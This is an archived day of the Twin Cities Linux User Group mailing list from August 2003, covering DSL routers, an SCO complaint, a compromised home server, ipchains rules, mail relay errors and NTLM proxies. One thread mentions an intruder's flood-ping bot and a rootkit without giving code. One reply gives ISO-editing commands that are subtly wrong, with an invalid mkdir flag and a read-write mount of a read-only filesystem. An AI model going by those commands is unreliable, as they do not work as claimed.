[TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> <1255.192.1.1.23.1061424688.squirrel@dccmn.com> Message-ID: <20030821092313.4877ead5.list@slushpupie.com> On Thu, 21 Aug 2003 01:08:21 -0500 johnny fulcrum wrote: >I'll second that... I VNC to my home Linux server (within my LAN) and then >vnc (within the VNC) to all my windows Boxen... Freaks the wife out when I >print out corney "I love you" messages to the home printer from work..... >:) but later it totally pays off.. (catch my drift???) I had shown my girlfriend how to use vnc to connect to my computer when I was in AZ for a semester.. she would do the same for me. :-) VNC is a lot easier to teach someone how to use, compared to X (though if you are technical enough, X tends to be a bit better) Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 21 09:40:48 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> References: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> Message-ID: <3F44D9F0.3040404@visi.com> pjcrump@bitstream.net wrote: > When getting DSL, will Qworst provide me with an external modem that I > can then run into a linksys router? I have a friend of mine that > wants to connect a couple of Windows boxes to the net. > thx. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Yes, but I'm not sure what brand they will sell your friend. I bought a Cisco 678 at the time I got DSL that's at least 3 years ago now. Contact Qwest to find out what they are selling. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 21 09:40:10 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Router with DSL? Message-ID: <0399641989D32043BED5793CCC8F5CD54D36A0@BPEXU1VM2.andersencorp.com> They gave me an actiontech something or other....not sure of the model.....i just got it in Feb. of this year so I'm guessing that's still what they are giving out...i have it plugged into a linksys switch with no problems...just had to make a crossover cable since for some reason the uplink on the switch didn't like it with a straight through.... Dan Lansing -----Original Message----- From: Sam MacDonald [mailto:smac@visi.com] Sent: Thursday, August 21, 2003 9:41 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Router with DSL? pjcrump@bitstream.net wrote: > When getting DSL, will Qworst provide me with an external modem that I > can then run into a linksys router? I have a friend of mine that > wants to connect a couple of Windows boxes to the net. > thx. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Yes, but I'm not sure what brand they will sell your friend. I bought a Cisco 678 at the time I got DSL that's at least 3 years ago now. Contact Qwest to find out what they are selling. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Thu Aug 21 09:55:24 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Re: 3 foot Tux doll (fwd) Message-ID: For those of you who want a 36 inch tux doll Munir ---------- Forwarded message ---------- Date: Thu, 21 Aug 2003 07:01:08 -0700 From: CheapBytes Sales To: Munir Nassar Subject: Re: 3 foot Tux doll At 09:22 PM 8/20/2003 -0500, you wrote: >On Wed, 20 Aug 2003, CheapBytes Sales wrote: > > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3623355339 > >it says that the item is invalid and searches for 3 foot tux dolls shows 0 >results, The link appears to be OK from our office here. That said, the item isn't scheduled to show until today at 11:15 AM, so that is why the search won't show it yet and perhaps why the link is showing to be invalid for you. > > If you have any questions about the item at all, please feel free to ask. > >Why go through ebay? why not sell direct? i've had quite a few requests >for tux dolls lately, and i would like to point the people at a place >where they can buy them. Due to the limited quantity of the 36" size (only 2 units), a business decision was made to offer them on eBay. We have large quantities of the 6" size which we sell at our site. We will be listing the 18" size at our site shortly as well. Limited quantities are available of this size. >If you are unable or unwilling to restock the tux dolls, is it possible >for me to contact the original manufacturor? whoever that may be so that >alternate arrangements can be made. The original manufacture was LinuxMall who owned the pattern copyright to this particular style of Tux. CheapBytes has purchased the LinuxMall items (www.linuxmall.com points back to us). We expect to do production runs of Penguins again in the future. However, the 36" size is one that most likely will not be made again due to its size causing a number of shipping related problems in both transit to us as well as to customers because of the dimensional weight issues. >Thank You! >Munir Nassar >RedConcepts.NET Cheap*Bytes --- The low-cost leader in Linux and Linux related products! E-mail: sales@cheapbytes.com Web: http://www.cheapbytes.com FAX: (209) 367-8518 Cheap*Bytes P.O. Box 2714 Lodi, California 95241 U.S.A. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Thu Aug 21 09:55:08 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] nice heartwarming story Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAD9@mail.temgweb.com> http://news.com.com/2008-1082_3-5065859.html?tag=lh _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From andy at tigerteam.net Thu Aug 21 11:02:20 2003 From: andy at tigerteam.net (Andy Walden) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Re: [novalug] Call the FTC about SCO ... Today Please In-Reply-To: <3F44D569.4A6A244E@earthlink.net> Message-ID: On Thu, 21 Aug 2003, Phil Wilshire wrote: > This was a posting on OCLUG in Ottawa from Richard Jenniss. > Now Bruce Perens and others have proven their exposed claims to be absolutely false it is time to > stop this charade. > Lets do this today if you can. The FTC want to hear from us. > > In my case my customers are asking me about these allegations from SCO and are wondering > why SCO can keep making these claims if they are PROVEN to be untrue. > > The demand for payment as protection against possibly being sued at some later date is, > basically, a gangster racket. > > Their refusal to reveal the Code in question is forcing us into a no win situation if there IS any > code from their sources. > > The overall pattern is one of untruth, deception and extortion. Mine has been filed: How Much Did the Company Ask You to Pay?: 5592.00 How Much Did You Actually Pay the Company?: 0.00 How Did You Pay the Company?: Unknown Explain Your Problem: (Please limit your complaint to 2000 characters.): SCO is threating to sue Linux users unless they pay their licensing fee. SCO hasn't provided any proof to legitimize their claims nor have they provided proof in any court of law. They simply are making the claims at this time and trying to extort as much money from users as they can before their court case proves their claims baseless. This is well documented on their web site and in interviews they have provided. http://www.sco.com/scosource/linuxlicensefaq.html http://www.nwfusion.com/news/2003/0721sco.html http://reuters.com/newsArticle.jhtml?type=technologyNews&storyID=3226167 http://www.vnunet.com/News/1142659 andy -- PGP Key Available at http://www.tigerteam.net/andy/pgp _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Thu Aug 21 10:33:34 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] My linux has died Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADA@mail.temgweb.com> Well, that'll learn ya. :) Back in '97 I got rooted. Someone did bad things to my box, and replaced the default page on the webserver to a picture of Samuel L Jackson from Pulp Fiction saying his "... and I will strike down upon thee with great vengeance and fuuuuurious anger.." Anyway, ever since then, I'm a security nazi. Everyone needs to be rooted at least once. :) > -----Original Message----- > From: Sam MacDonald [mailto:smac@visi.com] > Sent: Thursday, August 21, 2003 9:16 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] My linux has died > > > This is why trimming is not always a good thing. > I was replying to another persons post. > I neither connect to my computers over the internet nor let > anyone make > more then a port 80 connection > > Munir Nassar wrote: > > >On Thu, 21 Aug 2003, Sam MacDonald wrote: > > > > > > > >>Wow that is nasty. > >>I have DSL and I use a Linksys router. I hid behind the > router using > >>only the ports necessary to achieve my needs. Everyone in > the house has > >>access to the internet but only the ports I need are > enabled to receive > >>or send data. I've run several port scanners against my > system form > >>other locations and have had very good results. > >> > >> > > > >indeed, but did you check for vulnerabilities? > > > >you said you were using redhat 6.2, which did not include > openssh, so you > >probably had to connect to it using telnet. telnet sends > your password > >over the wire in plain text and anyone can sniff it. Same > goes for ftp. > > > >additionally, redhat 6.2 has been out of support for a > while, so even if > >you installed all the latest patches from redhat, you would > still have > >vulnerabilities. > > > >redhat 6.2 also used wu-ftpd. nuff said. > > > >was this system behind the firewall? if so then i would > consider each and > >every one of your other systems suspect as well. > > > >Munir Nassar > >RedConcepts.NET > >http://redconcepts.net/ > > > >_______________________________________________ > >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >http://www.mn-linux.org tclug-list@mn-linux.org > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Thu Aug 21 10:34:03 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] nice heartwarming story Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADB@mail.temgweb.com> Doh, just say that Jay Kline already posted this. I'm such a loser. > -----Original Message----- > From: Austad, Jay [mailto:JAustad@temgweb.com] > Sent: Thursday, August 21, 2003 9:55 AM > To: 'tclug-list@mn-linux.org' > Subject: [TCLUG] nice heartwarming story > > > http://news.com.com/2008-1082_3-5065859.html?tag=lh > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Thu Aug 21 10:51:58 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] nice heartwarming story In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADB@mail.temgweb.com> References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADB@mail.temgweb.com> Message-ID: <3F44EA9E.6090208@druswanderings.net> Austad, Jay wrote: > I'm such a loser. > Jeez! Now we got Loser Jay. Will this never end! 8-) -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Thu Aug 21 11:03:26 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] nice heartwarming story In-Reply-To: <3F44EA9E.6090208@druswanderings.net> References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADB@mail.temgweb.com> <3F44EA9E.6090208@druswanderings.net> Message-ID: <20030821110326.3c4b9e12.list@slushpupie.com> On Thu, 21 Aug 2003 10:51:58 -0500 The Wandering Dru wrote: >Austad, Jay wrote: > >> I'm such a loser. >> > >Jeez! Now we got Loser Jay. Will this never end! 8-) Now, I protest this one.. I dont want people to confuse LoserJay with *me*! :-) Jay _Kline_ (not LoserJay) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Thu Aug 21 11:10:42 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308211610.h7LGAg807265@crusader.real-time.com> A new TCLUG classified ad at was placed Thu Aug 21 11:10:42 2003. Name: Don~ Category: computerwanted Subject: External modem wanted Ad: Wanted: New or "pre-owned" external 56K [hardware (sic)] modem. Also a KVM switch. To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Thu Aug 21 11:18:33 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] need quick ipchain rule Message-ID: <006401c367ff$de0e8200$dc0115ac@DELL2> I have a firewall that uses ipchains with a gateway mail server behind it that scans messages for viruses for a few networks. Some how the box has picked up some sort of trojan or virus that I have not found yet, and is spewing mail. For the immediate I need a rule that stops all destination port 25 traffic except for the allowed domains. This is what I have used, but all port 25 traffic has stopped. ipchains -I input -j ACCEPT -p tcp -s 10.11.11.0/0 -d permited_domain/0 25 ipchains -I input -j ACCEPT -p tcp -s 10.11.11./0 -d permited_domain/0 25 ipchains -I input -j REJECT -p tcp -s 10.11.11.0/0 -d reject_everything_else/0 25 Thanks in advance _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 21 11:33:52 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] relay refused Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB6@BPEXU1VM2.andersencorp.com> I am running SuSE OpenExchange. When I send out emails via the web client everything is ok. When I send something out via outlook it gets rejected and this is the response Your message did not reach some or all of the intended recipients. Subject: Test of the system Sent: 8/8/2003 11:10 PM The following recipient(s) could not be reached: 'xxxxxxx@aol.com' on 8/8/2003 11:11 PM 554 : Recipient address rejected: Relay access denied our message did not reach some or all of the intended recipients. Subject: Message Sent: 8/8/2003 11:12 PM The following recipient(s) could not be reached: 'Lansing, Dan' on 8/8/2003 11:13 PM 554 : Recipient address rejected: Relay access denied is this something I have to configure on the server to accept stuff from outlook? Is this a samba issue? Any ideas? Dan Lansing -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030821/9ca91d42/attachment.htm From william.layer at comcast.net Thu Aug 21 11:26:25 2003 From: william.layer at comcast.net (Bill Layer) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] My linux has died In-Reply-To: <1061471494.12420.93.camel@orlando> References: <1061471494.12420.93.camel@orlando> Message-ID: <20030821112625.70c26ede.william.layer@comcast.net> Hello, On 21 Aug 2003 08:11:37 -0500 Brady Hegberg wrote: >I guess bot.tgz is a program that flood pings > 203.144.243.10 (Asahi-Somboon ONLINE?) What's bios.tgz? Well, did you try wgetting it? I did, it's a rootkit ;) Imagine that. Bill _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Thu Aug 21 11:52:17 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] nice heartwarming story In-Reply-To: <20030821110326.3c4b9e12.list@slushpupie.com> Message-ID: On Thu, 21 Aug 2003, Jay Kline wrote: > On Thu, 21 Aug 2003, The Wandering Dru wrote: > > Jeez! Now we got Loser Jay. Will this never end! 8-) > > Now, I protest this one.. I dont want people to confuse LoserJay with > *me*! > :-) Now you know how Ben Kochie might have felt. I think, though, that a moniker like that can help to distinguish exactly which Jay we're talking about. *shrug* Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Thu Aug 21 11:54:02 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] Router with DSL? References: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> Message-ID: <023c01c36804$d3a10950$d037630a@dh.com> You get an Actiontec 1520 from QWest and you must rent it from them, unless you buy your own DMT capable router. Tom Veldhouse ----- Original Message ----- From: To: Sent: Thursday, August 21, 2003 8:29 AM Subject: [TCLUG] Router with DSL? > When getting DSL, will Qworst provide me with an external modem that I can > then run into a linksys router? I have a friend of mine that wants to > connect a couple of Windows boxes to the net. > thx. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From josh at trutwins.homeip.net Thu Aug 21 11:58:59 2003 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] relay refused In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB6@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAB6@BPEXU1VM2.andersencorp.com> Message-ID: <20030821115859.00000e7e.josh@trutwins.homeip.net> On Thu, 21 Aug 2003 11:33:52 -0500 "Lansing, Dan" wrote: > I am running SuSE OpenExchange. When I send out emails via the web client everything is ok. When I send something out via outlook it gets rejected and this is the response What MTA does SuSE OpenExchange uses? Postfix I'm guessing. Will your Outlook users always connect from the same IP? Are they on an internal network will you want to allow them to check with Outlook from anywhere in the world? Webmail works because the MTA sees the connection as coming from localhost because the connection is made from the web server running on the SuSE box. By default, most MTA's are configured to not relay mail when any old Joe from the Internet connects on the SMTP port. This is a good thing because of all the stupid spammers in the world nowadays. To allow SMTP relaying for your legitimate roaming users you will need to configure your mail transfer agent (it's definately not a Samba problem!) You can either set up authenticated SMTP or something like POP/IMAP after SMTP. The latter means that SMTP is allowed but only after the user authenticates via POP or IMAP (When Outlook sends the username/password to the server). I use POP/IMAP after SMTP on a qmail MTA running on SuSE 8.1 though, though it's kind of an ugly solution to this problem. Authenticated SMTP is probably the better choice. Since qmail is most definately not the MTA on your OpenExchange server, hopefully someone else on the list will be able to point you into the right direction for your MTA. Josh _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Thu Aug 21 12:06:22 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:44 2005 Subject: [TCLUG] need quick ipchain rule In-Reply-To: <006401c367ff$de0e8200$dc0115ac@DELL2> References: <006401c367ff$de0e8200$dc0115ac@DELL2> Message-ID: <20030821170622.GA5459@mail.el-swifto.com> On Thu, Aug 21, 2003 at 11:18:33AM -0500, Raymond Norton wrote: > I have a firewall that uses ipchains with a gateway mail server behind it > that scans messages for viruses for a few networks. Some how the box has > picked up some sort of trojan or virus that I have not found yet, and is > spewing mail. For the immediate I need a rule that stops all destination > port 25 traffic except for the allowed domains. > [snip] > ipchains -I input -j REJECT -p tcp -s 10.11.11.0/0 -d reject_everything_else/0 25 > When you say "reject_everything_else/0", you mean you're using CIDR like 1.2.3.4/0? The "/x" is the mask indicating the network size, e.g. a netmask of 24 is a netmask of 255.255.255.0. When you say a.b.c.d/0, you're really saying 0.0.0.0/0, i.e. the whole internet. Probably not what you want. http://www.geocities.com/SiliconValley/Vista/8672/network/cidr.html http://infocenter.guardiandigital.com/manuals/IDDS/node9.html -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Thu Aug 21 12:34:15 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:45 2005 Subject: [TCLUG] (fwd) Hello Clay Message-ID: <20030821173414.GD18960@fandre.com> Is this a joke? Some new email virus that is going around? If not, anyone need some housecleaning done? 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https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 21 12:43:15 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:45 2005 Subject: [TCLUG] edit an iso file ? Message-ID: can one edit an iso file to add some stuff? I know I can mount it, copy it, add my stuff and then re-iso it, but space is limited right now . _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Thu Aug 21 12:51:12 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] need quick ipchain rule Message-ID: <008601c3680c$cfaf1500$dc0115ac@DELL2> >[snip] > ipchains -I input -j REJECT -p tcp -s 10.11.11.0/0 -d reject_everything_else/0 25 > >When you say "reject_everything_else/0", you mean you're using CIDR >like 1.2.3.4/0? >The "/x" is the mask indicating the network size, e.g. a netmask of >24 is a netmask of 255.255.255.0. When you say a.b.c.d/0, you're >really saying 0.0.0.0/0, i.e. the whole internet. Probably not >what you want. I am sure I have it wrong. That is why I made the post:) I need to stop my server from talking to port 25, except the few networks I relay to. ?? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Thu Aug 21 13:32:06 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] My linux has died In-Reply-To: <3F44D408.6010902@visi.com> Message-ID: I am using redhat 9, but I had just enabled ftp. I opened up port 21 and I thought I was using vsfp. I don't know what happened beyond that. I reinstalled rh9, left the firewall on high security and shut it down. I will work on it tonight (unplugged from the network). TOM _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Thu Aug 21 13:36:09 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] My linux has died In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADA@mail.temgweb.com> Message-ID: >Anyway, ever since then, I'm a security nazi. Everyone needs to be rooted >at least once. :) Yeah, and get a bike stolen. It's kind of exciting, getting rooted. Thank god It was a pretty fresh install already. I now know that I have much to learn. I will go buy a book on Linux security I think. any suggestions? TOm _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From william.layer at comcast.net Thu Aug 21 13:26:46 2003 From: william.layer at comcast.net (Bill Layer) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: References: Message-ID: <20030821132646.4587cac2.william.layer@comcast.net> On Thu, 21 Aug 2003 12:43:15 -0500 Johnny Fulcrum wrote: > > can one edit an iso file to add some stuff? Sure. As root: mkdir -f /mnt/iso mount -t iso9660 -o loop,rw image.iso /mnt/iso cd /mnt/iso cd .. umount iso Bill _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Thu Aug 21 13:49:50 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDADA@mail.temgweb.com> Message-ID: <20030821184950.GB15762@skuld.wookimus.net> On Thu, Aug 21, 2003 at 01:36:09PM -0500, PHPTOm wrote: > I will go buy a book on Linux security I think. any suggestions? Yeah. Enable cracklib in PAM to ensure you're using good passwords. Rotate them often. Don't enable any services in /etc/inetd.conf unless you absolutely have to. Install xinetd instead of the old standard inetd. [...snip from /etc/pam.d/passwd ] # Alternate strength checking for password. Note that this requires the # libpam-cracklib package to be installed. You will need to comment out # the password line above and uncomment the next two in order to use # this. (Replaces the `OBSCURE_CHECKS_ENAB', `CRACKLIB_DICTPATH') # password required pam_cracklib.so retry=3 minlen=8 difok=3 password required pam_unix.so use_authtok nullok md5 -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 21 14:29:12 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] I'm happy! NTLM proxy working Message-ID: Maybe a bit off topic, but I'd like to share this: I've been using Linux at work more and more... two things really kept me tied to windows: The internal company website and outlook. The internal web site is used for lots of info as well as time entry. It uses NTLM to authenticate users - NTLM is super secret handshakes only Microsoft products know how to do. SO I'm stuck using IE... until I found this: http://toastytech.com/evil/msproxy.html which lead me to this: http://apserver.sourceforge.net/ which took about 2 seconds to set up. Now I'm cruising the company web site with my trusty Opera 7.20 Beta 3 on Mandrake 9.1 Outlook is next... foolin around on the LAN at work, I find that the exchange server has a pop3 service running - all the good ports are open and waiting. I can relay out going mail, but I tried every authentication method I know of to "log on" to port 25 to get my mail. Nothing works - I figure it's using NTLM too.... Anyone every get a non MS mail client to connect to a pop3 that's using NTLM authentication? Mail NTLM proxy perhaps? My search continues... :) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 21 14:43:45 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] I'm happy! NTLM proxy working In-Reply-To: References: Message-ID: On Thu, 21 Aug 2003 14:29:12 -0500, Johnny Fulcrum wrote: > Outlook is next... foolin around on the LAN at work, I find that the > exchange server has a pop3 service running - all the good ports are open > and waiting. I can relay out going mail, but I tried every authentication > method I know of to "log on" to port 25 to get my mail. Nothing works - > I figure it's using NTLM too.... > > make that log on to port 110 to get mail....sorry. > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Thu Aug 21 15:02:09 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] I'm happy! NTLM proxy working In-Reply-To: References: Message-ID: <20030821200209.GF18960@fandre.com> On Thu, 21 Aug 2003, Johnny Fulcrum wrote: > > Outlook is next... foolin around on the LAN at work, I find that the > exchange server has a pop3 service running - all the good ports are open > and waiting. I can relay out going mail, but I tried every authentication > method I know of to "log on" to port 25 to get my mail. Nothing works - I > figure it's using NTLM too.... > Is your email alias the same as your username? If it's not you might need to specify them both. Here's what I use in a script I have that access the imap from our exchange server: $username = "//"; _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 21 15:13:39 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] I'm happy! NTLM proxy working In-Reply-To: References: Message-ID: <3F4527F3.8040904@visi.com> You've most likely done this... Do you get prompted for a user name and password? If so enter the domain name and user name like this domain\user enter the password Let me know if it works. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 21 15:08:13 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:46 2005 Subject: [TCLUG] OT: Feeling Secure? Message-ID: Well, I thought my network was pretty safe from Blaster and Welchia. Software Update Services is pushing updates to the clients. 